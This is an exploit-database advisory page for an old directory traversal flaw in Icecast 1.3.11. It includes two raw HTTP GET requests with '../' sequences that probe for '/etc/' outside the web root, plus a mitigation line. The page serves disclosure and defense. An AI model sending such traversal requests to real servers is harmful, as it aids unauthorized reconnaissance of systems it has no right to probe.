header-logo
Suggest Exploit
vendor:
Icecast
by:
SecurityFocus
4.3
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: Icecast
Affected Version From: 1.3.11
Affected Version To: 1.3.11
Patch Exists: YES
Related CWE: N/A
CPE: a:icecast:icecast:1.3.11
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Unix, Linux, Microsoft Windows
2002

Icecast Directory Traversal Vulnerability

An attacker may exploit a directory traversal vulnerability in Icecast server to determine the existance of a specified directory outside of the web root. This is a result of the server returning different HTTP results for each case.

Mitigation:

Ensure that the Icecast server is running the latest version of the software.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5189/info


Icecast is a freely available, open source streaming audio server. Icecast is available for the Unix, Linux, and Microsoft Windows platforms.

An attacker may exploit a directory traversal vulnerability in Icecast server to determine the existance of a specified directory outside of the web root. This is a result of the server returning different HTTP results for each case.

GET /file/../../../../../../../../nonexistent/ HTTP/1.0

GET /file/../../../../../../../../etc/ HTTP/1.0

Navigation

Suggest Exploit

Services By CQR